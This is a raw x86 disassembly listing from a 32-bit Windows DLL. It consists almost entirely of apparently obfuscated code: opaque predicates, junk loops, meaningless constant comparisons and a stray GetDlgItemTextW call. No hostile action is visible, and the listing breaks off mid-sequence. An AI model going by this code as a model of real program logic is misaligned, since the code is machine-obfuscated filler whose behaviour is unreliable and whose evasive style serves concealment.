cmp dword [ebp - 0xfc], 0x1b
jne 0x1001b857
mov dword [ebp - 0xb0], 0x934f545e
mov dword [ebp - 0x358], 0xa48a2b8e
cmp dword [ebp - 0xb0], 0
jne 0x1001b4c6
cmp dword [ebp - 0xb0], 0xb5486b6
jl 0x1001b4c6
and dword [ebp - 0x870], 0
jmp 0x1001b4d0
mov dword [ebp - 0x870], 1
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0x870], 1
jbe 0x1001b4f1
mov dword [ebp - 0xad8], 1
jmp 0x1001b4f8
and dword [ebp - 0xad8], 0
mov eax, dword [ebp - 0xad8]
inc eax
cmp dword [ebp - 0xb0], eax
jl 0x1001b6ea
mov dword [ebp - 0x1268], 0x91023f12
mov dword [ebp - 0x34c], 0
jmp 0x1001b52e
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 3
jge 0x1001b54a
mov eax, dword [ebp - 0x34c]
mov dword [ebp + eax*4 - 0x13e0], 0xffffffff
jmp 0x1001b521
mov dword [ebp - 0xb0], 0
jmp 0x1001b563
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jg 0x1001b6e5
mov dword [ebp - 0x878], 0x3a13
mov dword [ebp - 0xe7c], 0x10007c20
cmp dword [ebp - 0x878], 0x3b0a
jle 0x1001b634
and dword [ebp - 0x3ec], 0
jmp 0x1001b5aa
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0x3d92
jge 0x1001b634
and dword [ebp - 0x3f4], 0
jmp 0x1001b5cc
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0x26b8
jge 0x1001b62f
mov eax, dword [ebp - 0x3ec]
and eax, dword [ebp - 0x3f4]
cdq
mov dword [ebp - 0xd0c], eax
mov dword [ebp - 0xd08], edx
push dword [ebp - 0xd08]
push dword [ebp - 0xd0c]
lea ecx, [ebp - 0x13f8]
call fcn.1000a633
pop ecx
pop ecx
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0xce0]
call fcn.10022371
push eax
call fcn.1005b12f
pop ecx
lea ecx, [ebp - 0x13f8]
call fcn.10022332
jmp 0x1001b5bf
jmp 0x1001b59d
mov dword [ebp - 0xa10], 0xc4f32b7b
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x878], 0x3852
jge 0x1001b65a
push dword [ebp - 0xe7c]
call fcn.1005b12f
pop ecx
jmp 0x1001b676
mov dword [ebp - 4], 0x1a
jmp 0x1001b686
mov dword [ebp - 0xe4], 3
jmp 0x1001b69f
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
jl 0x1001b6e0
mov byte [ebp - 0x185], 0
movzx eax, byte [ebp - 0x185]
test eax, eax
je 0x1001b6d1
push 0xf2e
push 0
push 0x22dc
push 0x1ced
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
mov eax, dword [ebp - 0xa10]
inc eax
mov dword [ebp - 0xa10], eax
jmp 0x1001b692
jmp 0x1001b556
jmp 0x1001b852
mov dword [ebp - 0x898], 0xe74
mov dword [ebp - 0x1010], 0xdcda6a44
mov dword [ebp - 0x100c], 0xdcda6a44
mov dword [ebp - 0x1008], 0xdcda6a44
mov dword [ebp - 0x1004], 0xdcda6a44
mov eax, dword [ebp - 0x358]
cmp eax, dword [ebp - 0x898]
jl 0x1001b73c
cmp dword [ebp - 0xb0], 0
jne 0x1001b73c
and dword [ebp - 0x880], 0
jmp 0x1001b746
mov dword [ebp - 0x880], 1
push 2
lea ecx, [ebp - 0xe3c]
call fcn.1002273f
mov ecx, dword [ebp - 0x880]
cmp ecx, dword [eax]
jne 0x1001b769
mov dword [ebp - 0xb48], 1
jmp 0x1001b770
and dword [ebp - 0xb48], 0
imul eax, dword [ebp - 0xb48], 6
test eax, eax
jge 0x1001b787
mov dword [ebp - 0x888], 1
jmp 0x1001b78e
and dword [ebp - 0x888], 0
cmp dword [ebp - 0x888], 1
je 0x1001b7a3
mov dword [ebp - 0xa18], 1
jmp 0x1001b7aa
and dword [ebp - 0xa18], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xa18]
mov dword [ebp + eax - 0x1010], ecx
mov dword [ebp - 0x358], 0x8f438361
mov eax, 0x58fe
cmp eax, 0xf05d
jge 0x1001b7e5
cmp dword [ebp - 0xfc], 0
jne 0x1001b7e5
and dword [ebp - 0xae0], 0
jmp 0x1001b7ef
mov dword [ebp - 0xae0], 1
mov dword [ebp - 0x890], 0xffffffff
mov eax, dword [ebp - 0x890]
cmp eax, dword [ebp - 0xae0]
jg 0x1001b813
mov dword [ebp - 0xcec], 1
jmp 0x1001b81a
and dword [ebp - 0xcec], 0
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x1270], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x1278], eax
mov eax, dword [ebp - 0x358]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x358], 0x337360ed
mov dword [ebp - 0xe4], 0xffffffff
jmp 0x1001b47a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe3c]
call fcn.1002271a
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1bc]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x108], edx
mov dword [ebp - 0x14], 0x5ed9a924
mov dword [ebp - 0x94], 0x9cdf9c77
mov dword [ebp - 0x60], 0xf748bbe2
mov dword [ebp - 0xf0], 0x5bfeb1ec
mov dword [ebp - 0xe8], 0xfe2ccf58
mov dword [ebp - 0x8c], 0
jmp 0x1001b8c7
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x1001b8e3
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x134c], 1
jmp 0x1001b8ba
mov dword [ebp - 0x8c], 0
jmp 0x1001b8fc
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x1001b918
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x13b0], 6
jmp 0x1001b8ef
mov eax, 0xffffaa60
sub eax, dword [ebp - 0x14]
jne 0x1001b955
cmp dword [ebp - 0x14], 0
jne 0x1001b937
cmp dword [ebp - 0x14], 0
jne 0x1001b937
and dword [ebp - 0xa20], 0
jmp 0x1001b941
mov dword [ebp - 0xa20], 1
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0xa20], eax
je 0x1001b955
and dword [ebp - 0x4e0], 0
jmp 0x1001b95f
mov dword [ebp - 0x4e0], 1
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x14]
cmp eax, 2
jne 0x1001b97c
mov dword [ebp - 0xb84], 1
jmp 0x1001b983
and dword [ebp - 0xb84], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0xb84], eax
jge 0x1001b99a
mov dword [ebp - 0x8a8], 1
jmp 0x1001b9a1
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x8a8]
sub eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jle 0x1001b9bb
mov dword [ebp - 0x5ac], 1
jmp 0x1001b9c2
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x5ac], eax
jge 0x1001b9d9
mov dword [ebp - 0x5b4], 1
jmp 0x1001b9e0
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x1001ba01
cmp dword [ebp - 0x60], 0
jne 0x1001ba01
and dword [ebp - 0x5bc], 0
jmp 0x1001ba0b
mov dword [ebp - 0x5bc], 1
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x5bc], eax
jle 0x1001ba25
mov dword [ebp - 0x5c4], 1
jmp 0x1001ba2c
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1288], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1290], eax
mov eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x60]
cmp eax, 3
jle 0x1001ba70
cmp dword [ebp - 0x14], 0
je 0x1001ba70
mov dword [ebp - 0xe00], 1
jmp 0x1001ba77
and dword [ebp - 0xe00], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1254], eax
mov eax, dword [ebp - 0x94]
neg eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x14]
jg 0x1001ba9f
mov dword [ebp - 0x5cc], 1
jmp 0x1001baa6
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x5cc], eax
jl 0x1001babd
mov dword [ebp - 0x5d4], 1
jmp 0x1001bac4
and dword [ebp - 0x5d4], 0
imul eax, dword [ebp - 0x5d4], 0
test eax, eax
jne 0x1001bade
cmp dword [ebp - 0x14], 0
jne 0x1001bade
and dword [ebp - 0x5dc], 0
jmp 0x1001bae8
mov dword [ebp - 0x5dc], 1
mov eax, dword [ebp - 0x5dc]
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0x14], 0x2706
jne 0x1001bb09
mov dword [ebp - 0xcf8], 1
jmp 0x1001bb10
and dword [ebp - 0xcf8], 0
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x125c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1074], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x1020], eax
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0xe8]
jl 0x1001bb48
mov dword [ebp - 0x5e4], 1
jmp 0x1001bb4f
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x5e4]
jl 0x1001bc81
cmp dword [ebp - 0x60], 0
je 0x1001bc81
mov dword [ebp - 0x164], 0x86237dd
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x1150], eax
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
imul eax, eax, 0x1ab7
cmp dword [ebp - 0x164], eax
jle 0x1001bb9f
mov dword [ebp - 0x5ec], 1
jmp 0x1001bba6
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x5ec], eax
jl 0x1001bbc6
cmp dword [ebp - 0x164], 0
jne 0x1001bbc6
and dword [ebp - 0x5f4], 0
jmp 0x1001bbd0
mov dword [ebp - 0x5f4], 1
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x5f4], eax
jg 0x1001bbea
mov dword [ebp - 0x5fc], 1
jmp 0x1001bbf1
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x5fc], eax
jg 0x1001bc08
mov dword [ebp - 0x604], 1
jmp 0x1001bc0f
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x604], eax
je 0x1001bc29
mov dword [ebp - 0x60c], 1
jmp 0x1001bc30
and dword [ebp - 0x60c], 0
cmp dword [ebp - 0x60c], 0xb6ef
jge 0x1001bc48
mov dword [ebp - 0x614], 1
jmp 0x1001bc4f
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x164]
cmp eax, dword [ebp - 0x614]
je 0x1001bc69
mov dword [ebp - 0x61c], 1
jmp 0x1001bc70
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x164], eax
jmp 0x1001bedc
mov dword [ebp - 0x360], 0x34ceb039
mov dword [ebp - 0x94], 1
jmp 0x1001bca4
mov eax, dword [ebp - 0x94]
dec eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
jl 0x1001bce7
mov dword [ebp - 0xea4], 0xbaf34
mov dword [ebp - 0xf0], 0
jmp 0x1001bcd0
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 1
jg 0x1001bce5
mov dword [ebp - 0xea4], 0
jmp 0x1001bcc3
jmp 0x1001bc97
mov dword [ebp - 0xe8], 0
jmp 0x1001bd00
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x19
je 0x1001bedc
push 1
lea ecx, [ebp - 0xe4c]
call fcn.10022698
mov dword [ebp - 4], 0x1f
mov dword [ebp - 0x3b0], 0
jmp 0x1001bd3a
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 1
jge 0x1001bd5c
push dword [ebp - 0x3b0]
lea ecx, [ebp - 0xe4c]
call fcn.1002273f
mov dword [eax], 0xff402e83
jmp 0x1001bd2d
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x360]
je 0x1001bd73
mov dword [ebp - 0x624], 1
jmp 0x1001bd7a
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x624]
sub eax, dword [ebp - 0xf0]
jne 0x1001be98
push 0
lea ecx, [ebp - 0xe4c]
call fcn.1002273f
cmp dword [eax], 0x5a29
jl 0x1001bdbf
push 0
lea ecx, [ebp - 0xe4c]
call fcn.1002273f
cmp dword [eax], 0
je 0x1001bdbf
mov dword [ebp - 0x62c], 1
jmp 0x1001bdc6
and dword [ebp - 0x62c], 0
cmp dword [ebp - 0x62c], 1
jne 0x1001bddb
mov dword [ebp - 0x634], 1
jmp 0x1001bde2
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x634]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x1028], eax
cmp dword [ebp - 0x60], 0
jne 0x1001be0c
mov dword [ebp - 0x63c], 1
jmp 0x1001be13
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x360]
cmp dword [ebp - 0x63c], eax
jg 0x1001be2d
mov dword [ebp - 0x644], 1
jmp 0x1001be34
and dword [ebp - 0x644], 0
cmp dword [ebp - 0x644], 0xffff
jne 0x1001be4c
mov dword [ebp - 0x64c], 1
jmp 0x1001be53
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x360]
imul eax, dword [ebp - 0x64c]
test eax, eax
jne 0x1001be74
push 5
pop eax
test eax, eax
jne 0x1001be74
and dword [ebp - 0x654], 0
jmp 0x1001be7e
mov dword [ebp - 0x654], 1
imul eax, dword [ebp - 0x654], 0xffff
cmp eax, 0xf7d0
jne 0x1001be98
and dword [ebp - 0x65c], 0
jmp 0x1001bea2
mov dword [ebp - 0x65c], 1
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x360], 0
je 0x1001bec8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe4c]
call fcn.1002271a
jmp 0x1001bedc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe4c]
call fcn.1002271a
jmp 0x1001bcf3
mov eax, 0xffff
mov word [ebp - 0xbc], ax
push 4
lea ecx, [ebp - 0xe5c]
call fcn.10022698
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x9c], 0xffffffff
mov dword [ebp - 0x3f0], 0
jmp 0x1001bf1f
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 4
jge 0x1001bf41
push dword [ebp - 0x3f0]
lea ecx, [ebp - 0xe5c]
call fcn.1002273f
mov dword [eax], 0x7786
jmp 0x1001bf12
mov dword [ebp - 0x9c], 0
jmp 0x1001bf5a
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jg 0x1001c0c1
mov dword [ebp - 0x674], 3
mov dword [ebp - 0xd04], 0
mov dword [ebp - 0xe08], 0x936be856
mov esi, dword [ebp - 0x9c]
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xe5c]
call fcn.1002273f
cmp dword [eax], esi
jne 0x1001bfac
mov dword [ebp - 0x68c], 1
jmp 0x1001bfb3
and dword [ebp - 0x68c], 0
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xe5c]
call fcn.1002273f
cmp dword [eax], 0
jne 0x1001bfdb
cmp dword [ebp - 0x9c], 0
jne 0x1001bfdb
and dword [ebp - 0x664], 0
jmp 0x1001bfe5
mov dword [ebp - 0x664], 1
mov eax, dword [ebp - 0x664]
add eax, 0x10000
jne 0x1001c004
mov eax, 0xfff9
test eax, eax
jne 0x1001c004
and dword [ebp - 0x66c], 0
jmp 0x1001c00e
mov dword [ebp - 0x66c], 1
cmp dword [ebp - 0x66c], 0xc3dc
je 0x1001c02c
cmp dword [ebp - 0xd04], 0
jne 0x1001c02c
and dword [ebp - 0x67c], 0
jmp 0x1001c036
mov dword [ebp - 0x67c], 1
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xe5c]
call fcn.1002273f
mov eax, dword [eax]
mov dword [ebp - 0x674], eax
mov eax, dword [ebp - 0x674]
cmp eax, dword [ebp - 0x67c]
jl 0x1001c069
mov dword [ebp - 0x684], 1
jmp 0x1001c070
and dword [ebp - 0x684], 0
cmp dword [ebp - 0x684], 0x4f5ac3d6
jl 0x1001c088
mov dword [ebp - 0x694], 1
jmp 0x1001c08f
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x68c]
cmp eax, dword [ebp - 0x694]
je 0x1001c0a9
mov dword [ebp - 0x69c], 1
jmp 0x1001c0b0
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0xe08], eax
jmp 0x1001bf4d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe5c]
call fcn.1002271a
or dword [ebp - 0x1b4], 0xffffffff
mov dword [ebp - 0x18], 0xbac64a68
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x3b8], 0x1aa4
mov dword [ebp - 0xd1c], 1
mov dword [ebp - 0xd28], 0
mov dword [ebp - 0x18], 0
jmp 0x1001c116
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffff1
jl 0x1001c160
mov dword [ebp - 0x368], 0xb51dba33
mov dword [ebp - 0x368], 7
jmp 0x1001c13f
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0xc
jge 0x1001c15e
mov dword [ebp - 0xd10], 0x85c9
mov dword [ebp - 0xd10], 0
jmp 0x1001c132
jmp 0x1001c10f
cmp dword [ebp - 0x18], 0
jne 0x1001c312
cmp dword [ebp - 0x18], 0x31f145ba
jg 0x1001c17f
mov dword [ebp - 0x6ec], 1
jmp 0x1001c186
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
imul eax, eax, 0xffff
test eax, eax
jl 0x1001c1a5
cmp dword [ebp - 0x18], 0
jne 0x1001c1a5
and dword [ebp - 0x6a4], 0
jmp 0x1001c1af
mov dword [ebp - 0x6a4], 1
mov eax, dword [ebp - 0x6a4]
add eax, 0xffff
cmp eax, 5
jbe 0x1001c1cb
mov dword [ebp - 0x6ac], 1
jmp 0x1001c1d2
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x6ac], eax
je 0x1001c1e9
mov dword [ebp - 0x6b4], 1
jmp 0x1001c1f0
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x6b4], eax
jge 0x1001c207
mov dword [ebp - 0x6bc], 1
jmp 0x1001c20e
and dword [ebp - 0x6bc], 0
cmp dword [ebp - 0x6bc], 1
jbe 0x1001c229
mov eax, 0xf9080254
test eax, eax
jne 0x1001c229
and dword [ebp - 0x6c4], 0
jmp 0x1001c233
mov dword [ebp - 0x6c4], 1
mov eax, dword [ebp - 0x6c4]
neg eax
cmp eax, dword [ebp - 0x274]
jle 0x1001c24f
mov dword [ebp - 0x6cc], 1
jmp 0x1001c256
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x274], eax
mov eax, dword [ebp - 0x274]
cmp eax, dword [ebp - 0x18]
jge 0x1001c279
mov dword [ebp - 0x6d4], 1
jmp 0x1001c280
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x6d4]
add eax, 0x1552b9cb
cmp eax, dword [ebp - 0x3b8]
je 0x1001c29f
mov dword [ebp - 0x6dc], 1
jmp 0x1001c2a6
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x3b8]
cmp dword [ebp - 0x6dc], eax
je 0x1001c2c0
mov dword [ebp - 0x6e4], 1
jmp 0x1001c2c7
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x3b8]
cmp dword [ebp - 0x6e4], eax
jne 0x1001c2e1
mov dword [ebp - 0xd68], 1
jmp 0x1001c2e8
and dword [ebp - 0xd68], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1224], eax
imul eax, dword [ebp - 0x274], 0x1ad3
sub eax, dword [ebp - 0xd1c]
cmp dword [ebp - 0x6ec], eax
jg 0x1001c312
and dword [ebp - 0x6f4], 0
jmp 0x1001c31c
mov dword [ebp - 0x6f4], 1
cmp dword [ebp - 0x6f4], 9
je 0x1001c331
mov dword [ebp - 0x6fc], 1
jmp 0x1001c338
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x3b8]
imul eax, dword [ebp - 0x6fc]
cmp eax, 4
jae 0x1001c356
mov dword [ebp - 0xd6c], 1
jmp 0x1001c35d
and dword [ebp - 0xd6c], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1034], eax
cmp dword [ebp - 0x18], 0xfffffffb
jne 0x1001c378
mov dword [ebp - 0x704], 1
jmp 0x1001c37f
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x704], eax
je 0x1001c396
mov dword [ebp - 0x70c], 1
jmp 0x1001c39d
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xd28], eax
cmp dword [ebp + 0x10], 0
jbe 0x1001c6e2
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001c6dd
mov dword [ebp - 0x16c], 0x399841b3
mov dword [ebp - 0x734], 0xabbf
mov dword [ebp - 0x370], 0
jmp 0x1001c3f8
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 3
jge 0x1001c414
mov eax, dword [ebp - 0x370]
mov dword [ebp + eax*4 - 0x12c4], 0xd1649bc0
jmp 0x1001c3eb
mov dword [ebp - 0x16c], 0
jmp 0x1001c42d
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
jl 0x1001c5a0
mov dword [ebp - 0x72c], 0
mov dword [ebp - 0x764], 0x20ea0c8d
mov eax, dword [ebp - 0x72c]
cmp eax, dword [ebp - 0x734]
jne 0x1001c468
mov dword [ebp - 0x714], 1
jmp 0x1001c46f
and dword [ebp - 0x714], 0
cmp dword [ebp - 0x714], 0
jae 0x1001c48a
mov eax, 0xafd061a6
test eax, eax
jne 0x1001c48a
and dword [ebp - 0x71c], 0
jmp 0x1001c494
mov dword [ebp - 0x71c], 1
mov eax, dword [ebp - 0x764]
imul eax, dword [ebp - 0x71c]
cmp dword [ebp - 0x16c], eax
jne 0x1001c4b5
mov dword [ebp - 0x724], 1
jmp 0x1001c4bc
and dword [ebp - 0x724], 0
cmp dword [ebp - 0x724], 0x758e356e
jl 0x1001c4da
cmp dword [ebp - 0x72c], 0
jne 0x1001c4da
and dword [ebp - 0x73c], 0
jmp 0x1001c4e4
mov dword [ebp - 0x73c], 1
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0x73c]
je 0x1001c4fe
mov dword [ebp - 0x744], 1
jmp 0x1001c505
and dword [ebp - 0x744], 0
cmp dword [ebp - 0x744], 0xfffffff6
jae 0x1001c51a
mov dword [ebp - 0x74c], 1
jmp 0x1001c521
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x16c]
cmp dword [ebp - 0x74c], eax
jle 0x1001c53b
mov dword [ebp - 0x754], 1
jmp 0x1001c542
and dword [ebp - 0x754], 0
cmp dword [ebp - 0x754], 0xe889
jne 0x1001c55a
mov dword [ebp - 0x75c], 1
jmp 0x1001c561
and dword [ebp - 0x75c], 0
cmp dword [ebp - 0x75c], 1
jge 0x1001c576
mov dword [ebp - 0xd74], 1
jmp 0x1001c57d
and dword [ebp - 0xd74], 0
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x764]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x12c4], eax
jmp 0x1001c420
mov dword [ebp - 0xd34], 0x2381
cmp dword [ebp - 0xd34], 0xa9d
jge 0x1001c6d2
xorpd xmm0, xmm0
movlpd qword [ebp - 0xb14], xmm0
xorpd xmm0, xmm0
movlpd qword [ebp - 0x400], xmm0
xorpd xmm0, xmm0
movlpd qword [ebp - 0xd18], xmm0
lea eax, [ebp - 0xd18]
push eax
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0xb14]
push eax
push 0x10007cac
call fcn.1005aefb
add esp, 0x10
mov dword [ebp - 0x458], 1
mov eax, dword [ebp - 0x458]
cdq
mov dword [ebp - 0xd24], eax
mov dword [ebp - 0xd20], edx
mov eax, dword [ebp - 0xd18]
mov dword [ebp - 0xd30], eax
mov eax, dword [ebp - 0xd14]
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0xd20]
cmp eax, dword [ebp - 0xd2c]
jg 0x1001c6b9
jl 0x1001c660
mov eax, dword [ebp - 0xd24]
cmp eax, dword [ebp - 0xd30]
jae 0x1001c6b9
mov eax, dword [ebp - 0xb14]
add eax, dword [ebp - 0x400]
mov ecx, dword [ebp - 0xb10]
adc ecx, dword [ebp - 0x3fc]
mov dword [ebp - 0xd3c], eax
mov dword [ebp - 0xd38], ecx
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0xb14], eax
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0xb10], eax
mov eax, dword [ebp - 0xd3c]
mov dword [ebp - 0x400], eax
mov eax, dword [ebp - 0xd38]
mov dword [ebp - 0x3fc], eax
jmp 0x1001c60a
push dword [ebp - 0x3fc]
push dword [ebp - 0x400]
push 0x10007cbc
call fcn.1005b12f
add esp, 0xc
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0xbc], ax
jmp 0x1001e9d9
mov dword [ebp - 0x174], 5
mov dword [ebp - 0xa4], 0
jmp 0x1001c705
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jge 0x1001c721
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x11e4], 1
jmp 0x1001c6f8
mov dword [ebp - 0xa4], 0
jmp 0x1001c73a
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 2
jge 0x1001c756
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x1054], 0xfffffffa
jmp 0x1001c72d
mov dword [ebp - 0x174], 2
jmp 0x1001c76f
mov eax, dword [ebp - 0x174]
dec eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jl 0x1001cb7f
mov dword [ebp - 0x3e0], 1
mov dword [ebp - 0x1040], 0xbdbdf7cd
mov dword [ebp - 0x488], 0x82d564c7
mov dword [ebp - 0xfa4], 0x842f88d9
mov dword [ebp - 0xfa0], 0x842f88d9
mov dword [ebp - 0xf9c], 0x842f88d9
mov dword [ebp - 0xf98], 0x842f88d9
lea ecx, [ebp - 0x471]
call fcn.100227a1
push eax
lea eax, [ebp - 0xf94]
push eax
lea eax, [ebp - 0xfa4]
push eax
lea ecx, [ebp - 0x130c]
call fcn.100227a4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf1c]
call fcn.100226f4
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x3e0], 0
jmp 0x1001c817
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 2
jg 0x1001cb6b
push 1
lea ecx, [ebp - 0xbe8]
call fcn.10022698
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x127c], 0xffffffff
mov dword [ebp - 0xd7c], 0
mov dword [ebp - 0x378], 0
jmp 0x1001c862
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 1
jge 0x1001c884
push dword [ebp - 0x378]
lea ecx, [ebp - 0xbe8]
call fcn.1002273f
mov dword [eax], 0xfffffff7
jmp 0x1001c855
push 0
lea ecx, [ebp - 0xbe8]
call fcn.1002273f
and dword [eax], 0
jmp 0x1001c8ba
push 0
